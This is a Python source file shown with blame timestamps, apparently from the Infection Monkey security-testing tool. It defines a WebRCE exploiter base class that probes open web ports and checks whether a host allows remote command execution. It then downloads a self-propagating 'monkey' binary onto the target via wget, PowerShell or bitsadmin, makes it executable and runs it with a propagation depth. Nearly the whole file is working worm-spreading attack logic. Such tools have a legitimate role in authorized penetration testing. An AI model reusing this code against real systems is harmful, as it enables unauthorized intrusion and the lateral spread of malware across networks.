2018-07-19 17:33:44 +08:00
|
|
|
import logging
|
|
|
|
|
|
|
|
from threading import Lock
|
|
|
|
from exploit import HostExploiter
|
|
|
|
from model import *
|
|
|
|
from posixpath import join
|
|
|
|
import re
|
|
|
|
from abc import abstractmethod
|
2018-08-09 21:52:15 +08:00
|
|
|
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path
|
2018-08-08 22:57:34 +08:00
|
|
|
from network.tools import check_tcp_port, tcp_port_to_service
|
2018-07-19 17:33:44 +08:00
|
|
|
|
|
|
|
__author__ = 'VakarisZ'
|
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
2018-08-09 21:52:15 +08:00
|
|
|
# Commands used to check if monkeys already exists
|
|
|
|
LOOK_FOR_FILE = "ls %s"
|
2018-07-19 17:33:44 +08:00
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
|
2018-07-19 17:33:44 +08:00
|
|
|
class WebRCE(HostExploiter):
|
|
|
|
|
|
|
|
def __init__(self, host):
|
|
|
|
super(WebRCE, self).__init__(host)
|
|
|
|
self._config = __import__('config').WormConfiguration
|
|
|
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
|
|
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
|
|
|
|
|
|
|
@abstractmethod
|
|
|
|
def exploit_host(self):
|
|
|
|
raise NotImplementedError()
|
|
|
|
|
|
|
|
@abstractmethod
|
|
|
|
def exploit(self, url, command):
|
|
|
|
"""
|
|
|
|
A reference to a method which implements web exploit logic.
|
2018-08-08 22:57:34 +08:00
|
|
|
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
|
2018-07-19 17:33:44 +08:00
|
|
|
:param command: Command which will be executed on remote host
|
|
|
|
:return: Command's output string. Or True/False if it's a blind exploit
|
|
|
|
"""
|
|
|
|
raise NotImplementedError()
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def get_open_service_ports(self, port_list, names):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
|
|
|
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
|
|
|
|
:param names: [] of service names. Example: ["http"]
|
|
|
|
:return: Returns all open ports from port list that are of service names
|
|
|
|
"""
|
|
|
|
candidate_services = {}
|
2018-08-08 22:57:34 +08:00
|
|
|
candidate_services.update({
|
|
|
|
service: self.host.services[service] for service in self.host.services if
|
|
|
|
(self.host.services[service]['name'] in names)
|
|
|
|
})
|
2018-07-19 17:33:44 +08:00
|
|
|
|
|
|
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
2018-08-08 22:57:34 +08:00
|
|
|
tcp_port_to_service(port) in candidate_services]
|
2018-07-19 17:33:44 +08:00
|
|
|
|
|
|
|
return valid_ports
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def check_if_port_open(self, port):
|
|
|
|
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
2018-07-19 17:33:44 +08:00
|
|
|
if not is_open:
|
2018-08-08 22:57:34 +08:00
|
|
|
LOG.info("Port %d is closed on %r, skipping", port, self.host)
|
2018-07-19 17:33:44 +08:00
|
|
|
return False
|
|
|
|
return True
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def get_command(self, path, http_path, commands):
|
|
|
|
if 'linux' in self.host.os['type']:
|
|
|
|
command = commands['linux']
|
|
|
|
else:
|
|
|
|
command = commands['windows']
|
|
|
|
# Format command
|
|
|
|
try:
|
|
|
|
command = command % {'monkey_path': path, 'http_path': http_path}
|
|
|
|
except KeyError:
|
|
|
|
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
|
|
|
|
"Check upload_monkey function docs.")
|
|
|
|
return False
|
|
|
|
return command
|
|
|
|
|
|
|
|
def check_if_exploitable(self, url):
|
|
|
|
"""
|
|
|
|
Checks if target is exploitable by interacting with url
|
|
|
|
:param url: Url to exploit
|
|
|
|
:return: True if exploitable and false if not
|
|
|
|
"""
|
2018-07-19 17:33:44 +08:00
|
|
|
try:
|
2018-08-08 22:57:34 +08:00
|
|
|
resp = self.exploit(url, CHECK_COMMAND)
|
2018-07-19 17:33:44 +08:00
|
|
|
if resp is True:
|
|
|
|
return True
|
|
|
|
elif resp is not False and ID_STRING in resp:
|
|
|
|
return True
|
|
|
|
else:
|
|
|
|
return False
|
|
|
|
except Exception as e:
|
|
|
|
LOG.error("Host's exploitability check failed due to: %s" % e)
|
|
|
|
return False
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def build_potential_urls(self, ports, extensions=None):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
2018-08-08 22:57:34 +08:00
|
|
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
|
|
|
Eg. ports: [[80, False], [443, True]]
|
2018-07-19 17:33:44 +08:00
|
|
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
|
|
|
:return: Array of url's to try and attack
|
|
|
|
"""
|
|
|
|
url_list = []
|
2018-08-08 22:57:34 +08:00
|
|
|
if extensions:
|
2018-08-09 21:52:15 +08:00
|
|
|
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
|
2018-08-08 22:57:34 +08:00
|
|
|
else:
|
|
|
|
extensions = [""]
|
|
|
|
for port in ports:
|
|
|
|
for extension in extensions:
|
|
|
|
if port[1]:
|
|
|
|
protocol = "https"
|
|
|
|
else:
|
|
|
|
protocol = "http"
|
|
|
|
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
|
2018-07-19 17:33:44 +08:00
|
|
|
if not url_list:
|
|
|
|
LOG.info("No attack url's were built")
|
|
|
|
return url_list
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def get_host_arch(self, url):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
|
|
|
:param url: Url for exploiter to use
|
|
|
|
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
|
|
|
"""
|
2018-08-08 22:57:34 +08:00
|
|
|
if 'linux' in self.host.os['type']:
|
|
|
|
resp = self.exploit(url, ARCH_LINUX)
|
2018-07-19 17:33:44 +08:00
|
|
|
if resp:
|
|
|
|
# Pulls architecture string
|
|
|
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
2018-08-10 20:07:56 +08:00
|
|
|
try:
|
|
|
|
arch = arch.group(1)
|
|
|
|
except AttributeError:
|
|
|
|
LOG.error("Looked for linux architecture but could not find it")
|
|
|
|
return False
|
2018-07-19 17:33:44 +08:00
|
|
|
if arch:
|
|
|
|
return arch
|
|
|
|
else:
|
|
|
|
LOG.info("Could not pull machine architecture string from command's output")
|
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return False
|
|
|
|
else:
|
2018-08-08 22:57:34 +08:00
|
|
|
resp = self.exploit(url, ARCH_WINDOWS)
|
2018-07-19 17:33:44 +08:00
|
|
|
if resp:
|
|
|
|
if "64-bit" in resp:
|
|
|
|
return "64"
|
|
|
|
else:
|
|
|
|
return "32"
|
|
|
|
else:
|
|
|
|
return False
|
|
|
|
|
2018-08-09 21:52:15 +08:00
|
|
|
def check_remote_monkey_file(self, url, path):
|
|
|
|
command = LOOK_FOR_FILE % path
|
2018-08-08 22:57:34 +08:00
|
|
|
resp = self.exploit(url, command)
|
2018-07-19 17:33:44 +08:00
|
|
|
if 'No such file' in resp:
|
|
|
|
return False
|
|
|
|
else:
|
|
|
|
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
|
|
|
return True
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def check_remote_files(self, url):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
|
|
|
:param url: Url for exploiter to use
|
|
|
|
:return: True if at least one file is found, False otherwise
|
|
|
|
"""
|
|
|
|
paths = []
|
2018-08-08 22:57:34 +08:00
|
|
|
if 'linux' in self.host.os['type']:
|
|
|
|
paths.append(self._config.dropper_target_path_linux)
|
2018-07-19 17:33:44 +08:00
|
|
|
else:
|
2018-08-09 21:52:15 +08:00
|
|
|
paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64])
|
2018-07-19 17:33:44 +08:00
|
|
|
for path in paths:
|
2018-08-10 20:07:56 +08:00
|
|
|
if self.check_remote_monkey_file(url, path):
|
2018-07-19 17:33:44 +08:00
|
|
|
return True
|
|
|
|
return False
|
|
|
|
|
|
|
|
# Wrapped functions:
|
2018-08-08 22:57:34 +08:00
|
|
|
def get_ports_w(self, ports, names):
|
2018-08-09 21:52:15 +08:00
|
|
|
"""
|
|
|
|
Get ports wrapped with log
|
|
|
|
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
|
|
|
|
:param names: [] of service names. Example: ["http"]
|
|
|
|
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
|
|
|
|
"""
|
2018-08-10 20:07:56 +08:00
|
|
|
ports = self.get_open_service_ports(ports, names)
|
2018-08-08 22:57:34 +08:00
|
|
|
if not ports:
|
2018-07-19 17:33:44 +08:00
|
|
|
LOG.info("All default web ports are closed on %r, skipping", host)
|
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return ports
|
|
|
|
|
2018-08-10 20:07:56 +08:00
|
|
|
def set_host_arch(self, url):
|
|
|
|
arch = self.get_host_arch(url)
|
2018-07-19 17:33:44 +08:00
|
|
|
if not arch:
|
|
|
|
LOG.error("Couldn't get host machine's architecture")
|
|
|
|
return False
|
|
|
|
else:
|
2018-08-08 22:57:34 +08:00
|
|
|
self.host.os['machine'] = arch
|
2018-07-19 17:33:44 +08:00
|
|
|
return True
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def upload_monkey(self, url, commands=None):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
|
|
|
:param url: Where exploiter should send it's request
|
|
|
|
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
|
|
|
|
Command must have "monkey_path" and "http_path" format parameters.
|
|
|
|
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
|
|
|
"""
|
|
|
|
LOG.info("Trying to upload monkey to the host.")
|
2018-08-10 20:07:56 +08:00
|
|
|
src_path = get_target_monkey(self.host)
|
2018-07-19 17:33:44 +08:00
|
|
|
if not src_path:
|
|
|
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
|
|
|
return False
|
|
|
|
# Determine which destination path to use
|
|
|
|
LOG.debug("Monkey path found")
|
2018-08-09 21:52:15 +08:00
|
|
|
path = get_monkey_dest_path(src_path)
|
2018-07-19 17:33:44 +08:00
|
|
|
if not path:
|
|
|
|
return False
|
|
|
|
# Create server for http download and wait for it's startup.
|
2018-08-10 20:07:56 +08:00
|
|
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
2018-07-19 17:33:44 +08:00
|
|
|
if not http_path:
|
|
|
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
|
|
|
return False
|
|
|
|
LOG.info("Started http server on %s", http_path)
|
2018-08-08 22:57:34 +08:00
|
|
|
if not self.host.os['type']:
|
2018-07-19 17:33:44 +08:00
|
|
|
LOG.error("Unknown target's os type. Skipping.")
|
|
|
|
return False
|
2018-08-08 22:57:34 +08:00
|
|
|
# Choose command:
|
|
|
|
if commands:
|
2018-08-10 20:07:56 +08:00
|
|
|
command = self.get_command(path, http_path, commands)
|
2018-07-19 17:33:44 +08:00
|
|
|
else:
|
2018-08-10 20:07:56 +08:00
|
|
|
command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
|
2018-08-08 22:57:34 +08:00
|
|
|
|
|
|
|
resp = self.exploit(url, command)
|
2018-07-19 17:33:44 +08:00
|
|
|
|
|
|
|
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
|
|
|
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
|
|
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
2018-08-08 22:57:34 +08:00
|
|
|
resp = self.exploit(url, backup_command)
|
2018-07-19 17:33:44 +08:00
|
|
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
|
|
http_thread.stop()
|
2018-08-08 22:57:34 +08:00
|
|
|
LOG.info("Uploading process finished")
|
2018-07-19 17:33:44 +08:00
|
|
|
return {'response': resp, 'path': path}
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def change_permissions(self, url, path, command=None):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
|
|
|
Method for linux hosts. Makes monkey executable
|
|
|
|
:param url: Where to send malicious packets
|
|
|
|
:param path: Path to monkey on remote host
|
|
|
|
:param command: Formatted command for permission change or None
|
|
|
|
:return: response, False if failed and True if permission change is not needed
|
|
|
|
"""
|
|
|
|
LOG.info("Changing monkey's permissions")
|
2018-08-08 22:57:34 +08:00
|
|
|
if 'windows' in self.host.os['type']:
|
2018-07-19 17:33:44 +08:00
|
|
|
LOG.info("Permission change not required for windows")
|
|
|
|
return True
|
|
|
|
if not command:
|
|
|
|
command = CHMOD_MONKEY % {'monkey_path': path}
|
|
|
|
try:
|
2018-08-08 22:57:34 +08:00
|
|
|
resp = self.exploit(url, command)
|
2018-07-19 17:33:44 +08:00
|
|
|
except Exception as e:
|
|
|
|
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
|
|
|
return False
|
|
|
|
# If exploiter returns True / False
|
|
|
|
if type(resp) is bool:
|
|
|
|
LOG.info("Permission change finished")
|
|
|
|
return resp
|
|
|
|
# If exploiter returns command output, we can check for execution errors
|
|
|
|
if 'Operation not permitted' in resp:
|
|
|
|
LOG.error("Missing permissions to make monkey executable")
|
|
|
|
return False
|
|
|
|
elif 'No such file or directory' in resp:
|
2018-08-08 22:57:34 +08:00
|
|
|
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
|
2018-07-19 17:33:44 +08:00
|
|
|
return False
|
|
|
|
LOG.info("Permission change finished")
|
|
|
|
return resp
|
|
|
|
|
2018-08-08 22:57:34 +08:00
|
|
|
def execute_remote_monkey(self, url, path, dropper=False):
|
2018-07-19 17:33:44 +08:00
|
|
|
"""
|
|
|
|
This method executes remote monkey
|
|
|
|
:param url: Where to send malicious packets
|
|
|
|
:param path: Path to monkey on remote host
|
|
|
|
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
|
|
|
|
:return: Response or False if failed
|
|
|
|
"""
|
|
|
|
LOG.info("Trying to execute remote monkey")
|
|
|
|
# Get monkey command line
|
|
|
|
if dropper and path:
|
2018-08-10 20:07:56 +08:00
|
|
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
|
2018-07-19 17:33:44 +08:00
|
|
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
|
|
|
else:
|
2018-08-10 20:07:56 +08:00
|
|
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
2018-07-19 17:33:44 +08:00
|
|
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
|
|
|
try:
|
2018-08-08 22:57:34 +08:00
|
|
|
resp = self.exploit(url, command)
|
2018-07-19 17:33:44 +08:00
|
|
|
# If exploiter returns True / False
|
|
|
|
if type(resp) is bool:
|
|
|
|
LOG.info("Execution attempt successfully finished")
|
|
|
|
return resp
|
|
|
|
# If exploiter returns command output, we can check for execution errors
|
|
|
|
if 'is not recognized' in resp or 'command not found' in resp:
|
|
|
|
LOG.error("Wrong path chosen or other process already deleted monkey")
|
|
|
|
return False
|
|
|
|
elif 'The system cannot execute' in resp:
|
|
|
|
LOG.error("System could not execute monkey")
|
|
|
|
return False
|
|
|
|
except Exception as e:
|
|
|
|
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
|
|
|
return False
|
|
|
|
LOG.info("Execution attempt finished")
|
|
|
|
return resp
|